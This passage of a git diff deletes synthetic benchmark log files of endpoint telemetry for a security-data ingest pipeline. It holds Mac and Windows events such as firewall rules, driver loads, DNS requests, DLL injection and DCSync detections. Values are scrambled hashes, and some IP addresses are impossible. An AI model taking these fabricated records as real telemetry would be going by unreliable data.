-{"event_simpleName":"FirewallEnabled","ContextTimeStamp":"1746962753.829","ConfigStateHash":"859328400","ContextProcessId":"900268078000780315","aip":"81.2.69.144","ConfigBuild":"2c8b.4.daf5d9d.4f","event_platform":"Mac","Entitlements":"46","name":"07198adb48f191c84a38","EventOrigin":"45","id":"b6c44348e6ee1e39992118be1c7150fa6a2e","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"445","RemoteAddressMaskIP4":"7807212067","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","EventOrigin":"45","LocalAddressMaskIP4":"5452380700","id":"806ac88ec376c30a3ad5d58a509223d6a681","Protocol":"0","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"216.160.83.56","event_simpleName":"FirewallSetRuleIP4","ContextTimeStamp":"1747090146.428","ConfigStateHash":"95043379","ContextProcessId":"160345220009000222","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"66","name":"dc265f862d44e408c3e76cd","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","RemoteAddressIP4":"81.2.69.144","ConnectionDirection":"1","cid":"4092825518eaf67377a6e4492ae44577"} -{"RemoteAddressIP6":"2a02:cf40::1","FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"3d0df","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","RemoteAddressMaskIP6":"374708fff7719dd5","LocalAddressMaskIP6":"0e83fa75cca53fdf","EventOrigin":"45","id":"642c09f791082b5d83a09c110880c78938cf","Protocol":"62","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"FirewallSetRuleIP6","LocalAddressIP6":"2a02:cf40::1","ContextTimeStamp":"1749801051.624","IcmpCode":"1","ConfigStateHash":"15043379","ContextProcessId":"160345220009000222","IcmpType":"990","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"76","name":"e1d442f5c46bbf234569aea","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"KextLoad","ContextTimeStamp":"1762198394.892","ConfigStateHash":"15043379","ContextProcessId":"472050110452005020","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","BundleID":"a225ed06f58fec3fe735872464c","Entitlements":"86","name":"3304452f50b3f","EventOrigin":"1","id":"5f985f71b43f37edc3c06b1c67f8acf263c1","EffectiveTransmissionClass":"2","aid":"c93c143eed37653b54c326dd22e114b8","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"OutOctets":"3000000600","CreationTimeStamp":"-11724671741.249","aip":"81.2.69.192","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"445","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","EventOrigin":"1","id":"f0d3d878ef1a02ab86680075a0eda18b56e9","PhysicalAddressLength":"6","InUcastPkts":"80890102","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"55043379","PhysicalAddress":"b9-55-b4-6e-3e-c8","PrefixLength":"52","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"46360000","InMulticastPkts":"36300760","ConfigBuild":"2c8b.4.b224e8a.4f","InOctets":"5401980300","NetLuidIndex":"0","Entitlements":"76","name":"1b1a40a16643c4d9d9ad13","aid":"3bec845649acaaa1eb41d1ad4a804a38","cid":"4092825518eaf67377a6e4492ae44577"} -{"LocalAddressIP4":"216.160.83.56","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"65043379","aip":"81.2.69.142","InterfaceIndex":"8","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"86","name":"4a33a844314cf727f26cb81df45b9","EventOrigin":"1","id":"a885c0aff4e59afa62b4cfc45dd233f79546","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"3bec845649acaaa1eb41d1ad4a804a38","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"9a93b1357a69e905c9a","FileCategory":"6","MachOSubType":"6","Size":"3000605","ContextThreadId":"0","aip":"89.160.20.112","BoundingLimitCount":"10","FileIdentifier":"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9","event_platform":"Mac","EventOrigin":"1","id":"1a8f053397e4f0d36a740347ced0ee4eaad4","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"MachOFileWritten","ContextTimeStamp":"1749108669.141","UserName":"4813","ConfigStateHash":"25043379","ContextProcessId":"704802000705084000","SHA256HashData":"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63","ConfigBuild":"2c8b.4.b224e8a.4f","IsOnRemovableDisk":"0","BoundingLimitDuration":"4486640","Entitlements":"26","name":"1148999d786555f3e786e","aid":"9ea510e4d87c4988253c7355515a7081","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"75043379","Timeout":"284","ParentProcessId":"0","aip":"81.2.69.142","SuppressType":"2","SHA256HashData":"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d","ProcessCount":"5","BoundedCount":"4","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"60","event_platform":"Mac","CommandLine":"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd","Entitlements":"16","name":"53731de338efc268aed79822","EventOrigin":"45","id":"9b9091551ef260bfbe2fcbaa991fd216578d","EffectiveTransmissionClass":"2","aid":"aff97f8b915352339afe79c5a16d76b3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"PtyCreated","ContextTimeStamp":"1748620809.371","ConfigStateHash":"85043379","ContextProcessId":"601020521600005482","DeviceId":"506006027","ContextThreadId":"0","aip":"89.160.20.112","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","CommandLine":"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660","ImageFileName":"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a","Entitlements":"96","name":"a3f9634e8f5cb2a","EventOrigin":"1","id":"1653ccad055c131c79fb49ce013cfa05fde1","EffectiveTransmissionClass":"2","aid":"0883f49bee1d86ce81176e6d89766adc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"LocalAddressIP4":"81.2.69.144","event_simpleName":"RawBindIP4","ContextTimeStamp":"1759703286.546","ConfigStateHash":"55043379","ConnectionFlags":"0","ContextProcessId":"148005106018043800","RemotePort":"260","aip":"2a02:cf40::2","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"260","Entitlements":"86","name":"2552bb1c58ae3899","EventOrigin":"1","id":"c842b689fbd78207d195d8c17e3a04a000f6","Protocol":"45","EffectiveTransmissionClass":"3","aid":"6de60f31dcfac7d0eac699802285aa4c","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1760875204.560","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"75043379","ConnectionFlags":"0","ContextProcessId":"525000013203000905","RemotePort":"60285","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"28","Entitlements":"26","name":"6be29847ad234f89","EventOrigin":"1","id":"2d87ac61a22522847bc2143b50b4aac12858","Protocol":"45","EffectiveTransmissionClass":"3","aid":"bfae1ce346c864e642355116756472d6","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ScriptControlScanInfo","ScriptContent":"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c","ConfigStateHash":"600000970","OriginalContentLength":"100","ContextProcessId":"516365064008244070","aip":"89.160.20.128","ContentSHA256HashData":"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","ScriptContentName":"/51a/89","Entitlements":"56","name":"0a1beccbcea40ac2468a3ee78b","EventOrigin":"1","id":"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0","EffectiveTransmissionClass":"2","aid":"c7fe43754f5b6ebfa566ef25e9ac6ecc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextBaseFileName":"d66187f4b1779e","event_simpleName":"TarFileWritten","ContextTimeStamp":"1753030307.865","UserName":"2e31bb4e4604be73a","FileCategory":"1","ConfigStateHash":"35043379","ContextProcessId":"140060400067209000","Size":"534039","ContextThreadId":"0","aip":"2a02:cf40::2","FileIdentifier":"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"e7ebdc66589c6ae4b87","EventOrigin":"1","id":"f6d443ab644ffa64617a90936d6da555f0a2","EffectiveTransmissionClass":"2","aid":"3e32d11b9db211e438bf9141dbc31d85","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5"} -{"ContextBaseFileName":"6f79cfc3feaa775","event_simpleName":"XarFileWritten","ContextTimeStamp":"1757404834.724","UserName":"f27ee237062cfd9","FileCategory":"1","ConfigStateHash":"95043379","ContextProcessId":"403000009094400601","Size":"1000870","ContextThreadId":"0","aip":"81.2.69.144","FileIdentifier":"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"708df495f98345bf516","EventOrigin":"1","id":"2633213df12f91013279bef1b12ce10d2c67","EffectiveTransmissionClass":"2","aid":"b1e14abeaf9680c3f0b9be1f18550235","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log deleted file mode 100644 index 5e2379c0d8..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log +++ /dev/null @@ -1,121 +0,0 @@ -{"event_simpleName":"AsepKeyUpdate","ContextTimeStamp":"1755155954.441","AsepFlags":"3","ConfigStateHash":"4001039063","ContextProcessId":"3007920321347","AsepClass":"7","AsepIndex":"5","ContextThreadId":"416006001900040","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c","RegOperationType":"5","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","AsepValueType":"0","TokenType":"1","Entitlements":"66","name":"d86b419894d5423","EventOrigin":"1","id":"6b69e784610ff3e5da99cb6f884fbb59c197","EffectiveTransmissionClass":"3","aid":"061f50de227f377d5a1cbbcda2493711","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"AsepFlags":"0","ContextThreadId":"970373501024004","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b","Data1":"31","RegOperationType":"1","event_platform":"Win","TokenType":"1","TargetCommandLineParameters":"8 -c07e1208b8efbe","EventOrigin":"1","id":"1165d56b44df464d4a3dd26905c78ac2c7e5","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe","timestamp":"1743508799999","event_simpleName":"AsepValueUpdate","ContextTimeStamp":"1756280738.081","ConfigStateHash":"204061009","RegType":"1","ContextProcessId":"47593002510450","AsepClass":"94","AsepIndex":"600","AuthenticationId":"7054705","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"","AsepValueType":"0","TargetSHA256HashData":"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906","Entitlements":"96","name":"8f3c176fdab74b6c9","aid":"f929742c2e4bd22b1829b6206b1dc84b","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe"} -{"ContextThreadId":"615659447400000","aip":"81.2.69.142","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"3c1edad779c6920ba025d32fc1d69997cc40","RpcClientProcessId":"4508060034060","id":"eedef0c0fc042e28949c251e42e913cb3fe6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BITSJobCreated","ContextTimeStamp":"1749668048.903","UserName":"d38b4ca4","ConfigStateHash":"9968901000","ContextProcessId":"3100000500830","InterfaceVersion":"0","RpcClientThreadId":"207001810400038","AuthenticationId":"70760008","ConfigBuild":"2c8b.4.ae3729d.e6","RpcOpNum":"4","Entitlements":"76","name":"11cf958b636de07e","aid":"082e3fde13bab854ebe72df7d1543cae","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3"} -{"ThreadStartAddress":"800560009080720","InjectedThreadFlag":"2","ContextThreadId":"500030143990970","aip":"89.160.20.128","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"f6f3399ea7912626def5330fbc430ff02ac2","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BrowserInjectedThread","TargetThreadId":"104623560606010","RawProcessId":"76850","ContextTimeStamp":"1757533928.090","ConfigStateHash":"50820000","ContextProcessId":"1107334096070","ThreadStartContext":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"7011710205985","Entitlements":"76","name":"126bc261e48aa7159043700","RawThreadId":"20602","aid":"1b044c25005f7f866e92ee245376c69e","SourceThreadStartAddress":"380906022020800","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"CommandHistory","CommandHistory":"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa","FirstCommand":"0","CommandCountMax":"983","ApplicationName":"7371f07","ConfigStateHash":"7040662006","LastDisplayed":"0","aip":"81.2.69.192","LastAdded":"2","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"3502200260267","Entitlements":"96","name":"b42a7420dfe70b77","EventOrigin":"1","id":"7f67dc98da59af9b207392dd643b6696521d","CommandCount":"3","EffectiveTransmissionClass":"3","aid":"985fa1e64b797b6a5e673a83fdc68828","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"RemoteAddressIP6":"2a02:cf40::2","ObjectNameEtw":"4355e623406251da1e189448d464d6e80e14d22","aip":"81.2.69.144","UserSid":"S-25368-38230-13235","event_platform":"Win","ObjectTypeEtw":"4355e623406251da1e189448d464d6e80e14d22","ClientComputerName":"-","EventOrigin":"45","id":"027ea26f253aa77e2fcf588772b9d2d6f37c","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DCSyncAttempted","ContextTimeStamp":"1749398112.834","UserName":"1611e7b","ConfigStateHash":"3400520000","EtwRawProcessId":"835","ContextProcessId":"7067360709400","SubjectDomainNameEtw":"61","AuthenticationId":"6420000067","ServiceAccessPropertiesEtw":"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9","ConfigBuild":"2c8b.4.ae3729d.e6","Entitlements":"46","name":"68a40a05895ff9a35","aid":"350ffb0329569649f8bac872d658cbfc","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"216.160.83.56","BoundingLimitCount":"1","UserSid":"S-86813-72426-80065-35729-11846-72517-75085","AllowlistingFilterId":"a3ea8710853f4e1e7","event_platform":"Win","PatternId":"607","EventOrigin":"5","ContextData":"","id":"01a0844d7700635d462669bbadb475d7dcf1","EventCorrelationId":"07103f94d0545ee24951b8c8ce76a5023743","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DetectionExcluded","ContextTimeStamp":"1758023898.952","ConfigStateHash":"4080600092","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","TargetProcessId":"6010945098000","BoundingLimitDuration":"3486640","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe","ExclusionType":"1","Entitlements":"56","name":"b7f0eea0ced34df529cc","ExclusionSource":"5","aid":"016ef640d4add7c7c7e72a5bfc4198c0","cid":"4092825518eaf67377a6e4492ae44577"} -{"Options":"53790000","ContextThreadId":"32005063951800","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"28476710775acf368038686c22c97be5f159b0efaeb459a6","Information":"2","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"245b89777adfd68f4020de1758e56c4467f6","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"274","timestamp":"1743508799999","Status":"0","event_simpleName":"DirectoryCreate","ContextTimeStamp":"1759459284.824","ConfigStateHash":"710307050","ContextProcessId":"7173090406564","IrpFlags":"2500","HandleCreateAuthenticationId":"4000900","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5065411","Entitlements":"66","name":"b44ad77e88405a082","OperationFlags":"0","aid":"cd2ef6603266196efe9f1ac402a1586a","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91"} -{"event_simpleName":"DllInjection","TargetThreadId":"505479000700240","RawProcessId":"7310","ThreadStartAddress":"947500501770690","InjectedThreadFlag":"530","ContextTimeStamp":"1758159328.572","ConfigStateHash":"540271348","ContextProcessId":"3006607000981","ContextThreadId":"140004900194068","aip":"81.2.69.192","ThreadStartContext":"9177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"3000303437040","Entitlements":"96","name":"8b6eec62b5f5f7","EventOrigin":"1","RawThreadId":"5008","id":"92855d0df8f2251c1dfe0bd7d56a97128a25","EffectiveTransmissionClass":"3","aid":"8fb3daf730de8e73c353f0c4137a51b5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","InjectedDll":"82\\9134161b\\f3acb4df\\a89bcae.dll"} -{"FileOperatorSid":"S-13859-13680-73630","ContextBaseFileName":"77b1704b6a85","FileCategory":"9","Size":"50050070","ContextThreadId":"600003001070039","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\c23eadb9","id":"b44b58becebd48898306ffd6600bf3f42c16","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DmpFileWritten","ContextTimeStamp":"1746804138.874","ConfigStateHash":"450007109","ContextProcessId":"60860076031000","IrpFlags":"0","AuthenticationId":"864","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"16","name":"bf62ca8a93b1c6730","OperationFlags":"0","aid":"61f77498beebf89847bcda33f8541689","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp"} -{"ContextBaseFileName":"c43bc2658","DnsResponseType":"2","IP4Records":"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;","ContextThreadId":"908409701000008","aip":"81.2.69.142","CNAMERecords":"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823","QueryStatus":"0","InterfaceIndex":"0","event_platform":"Win","DualRequest":"1","EventOrigin":"1","id":"77a6567f5ba2f4450eb816e24c5b0258f4b5","EffectiveTransmissionClass":"3","FirstIP4Record":"216.160.83.56","timestamp":"1743508799999","event_simpleName":"DnsRequest","ContextTimeStamp":"1748744822.996","ConfigStateHash":"1263130834","ContextProcessId":"5002051210496","DomainName":"2ca55df2a79d27d771dacfc7ae97","RespondingDnsServer":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","DnsRequestCount":"1","Entitlements":"56","name":"76e889534419","aid":"98148f3ab8db6d0cad5ad44fc9f4f5c7","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"} -{"ThreadStartAddress":"90100003090313109007","InjectedThreadFlag":"85","ContextThreadId":"100705003833870","aip":"81.2.69.142","event_platform":"Win","UserThread":"0","EventOrigin":"1","id":"14a56745976c34e322ccc9af234e692acf35","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DocumentProgramInjectedThread","TargetThreadId":"209175000090105","RawProcessId":"90010","ContextTimeStamp":"1762971058.579","ConfigStateHash":"2080025170","ContextProcessId":"7202603200007","ThreadStartContext":"60307800056300500065","ConfigBuild":"2c8b.4.bab7095.e6","TargetProcessId":"7602000306800","Entitlements":"96","name":"107f10bd7e2cf68ce87171d8f974b76","RawThreadId":"53040","aid":"73204dfc79175de6cc76f2ae7674dc76","SourceThreadStartAddress":"970004800500552","cid":"4092825518eaf67377a6e4492ae44577"} -{"AuthenticodeHashDataSHA256":"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f","ContextThreadId":"85060031003208","aip":"81.2.69.142","CompanyName":"5951da04edaa9198b1b04","event_platform":"Win","OriginalFilename":"c11d9e9772e","FileVersion":"359b2589a3456ff7703750b83f34717d70893f","ImageCheckSum":"30890","EventOrigin":"45","id":"8f8e5d48a0828ec900552833b592f6bf3137","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DriverLoad","ContextTimeStamp":"1750118563.660","ConfigStateHash":"4001039063","ContextProcessId":"917013009605","DriverLoadFlags":"0","ImageEntryPoint":"60900","MD5HashData":"7d60d20014499abbe980e8a3e9d3e480","SHA256HashData":"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a","ConfigBuild":"2c8b.4.ae3729d.e6","FixedFileVersion":"4a.5.36b21.78c5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys","ImageTimeStamp":"7506201701","Entitlements":"96","name":"971d60ec4961","aid":"eb87d6ed52531c4d56701eb0f3bdef5d","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-12089-81901-75723-71071-93418-35753-29602","ContextBaseFileName":"4e526e33d5","FileCategory":"4","Size":"100488","ContextThreadId":"118504067206871","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"1","FileIdentifier":"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"1a93966150b37eeb4506fb5d576569366fbe","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DwgFileWritten","ContextTimeStamp":"1763142957.475","ConfigStateHash":"2080025170","ContextProcessId":"5924007850208","IrpFlags":"0","AuthenticationId":"8650000","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"73a9d655524e1b4a5","OperationFlags":"0","aid":"8a519558e0f7e42814948bf046b8e5c8","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp"} -{"ExitCode":"0","ParentProcessId":"2000300900003","ContextThreadId":"632014600074400","aip":"216.160.83.56","ConHostId":"6810","UserSid":"S-78552-69545-47377","CycleTime":"380603073","event_platform":"Win","ConHostProcessId":"2000300900003","MaxThreadCount":"7","EventOrigin":"45","ImageSubsystem":"2","id":"f3b8bd9b2757d9904f845a44ff61827fa755","EffectiveTransmissionClass":"3","timestamp":"1743508799999","KernelTime":"0","UserTime":"0","event_simpleName":"EndOfProcess","RawProcessId":"42084","ContextTimeStamp":"1758502938.869","ConfigStateHash":"710307050","ContextProcessId":"5040620588024","SHA256HashData":"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"8040620588024","Entitlements":"46","name":"e8d15f653d9c08b","ProcessStartTime":"1745927326.269","aid":"3b473364ed16d25221bdb0b435aac52a","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1754418925.502","ConfigStateHash":"710307050","ContextProcessId":"9001004100012","IrpFlags":"1730","ContextThreadId":"560346007270302","MinorFunction":"0","aip":"216.160.83.56","FileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","MajorFunction":"40","Entitlements":"96","name":"a1721c8914da805eb47","EventOrigin":"1","OperationFlags":"0","id":"b43f550a47cfaab7904ddcd4c778b2d7d2e1","FileObject":"0","EffectiveTransmissionClass":"3","aid":"39074f37291ca6f2d189c1e110e04dfc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"} -{"event_simpleName":"FileDeleteInfo","ContextTimeStamp":"1758466867.856","ConfigStateHash":"3440491101","ContextProcessId":"920132208508","ContextThreadId":"549000000070475","aip":"81.2.69.192","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"400800208204","Entitlements":"56","name":"e1326813e53e44b4","EventOrigin":"3","id":"f17c8a57d6ffa5f985caf45f729cb254772a","EffectiveTransmissionClass":"3","aid":"e1a82faad25f1bc57da5f8b7457d9014","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP"} -{"Status":"0","event_simpleName":"FileOpenInfo","ContextTimeStamp":"1762335422.843","ConfigStateHash":"9250777000","ContextProcessId":"9011580900835","ContextThreadId":"920000001740500","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","ShareAccess":"7","DesiredAccess":"5040660","TreeId":"250760900008","Entitlements":"26","name":"c4a834c02a00fb","EventOrigin":"3","id":"46a19a602437699cf4aefb060e91441ba891","EffectiveTransmissionClass":"3","aid":"ea08505420aa828a0a52a6eed3c8a196","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"} 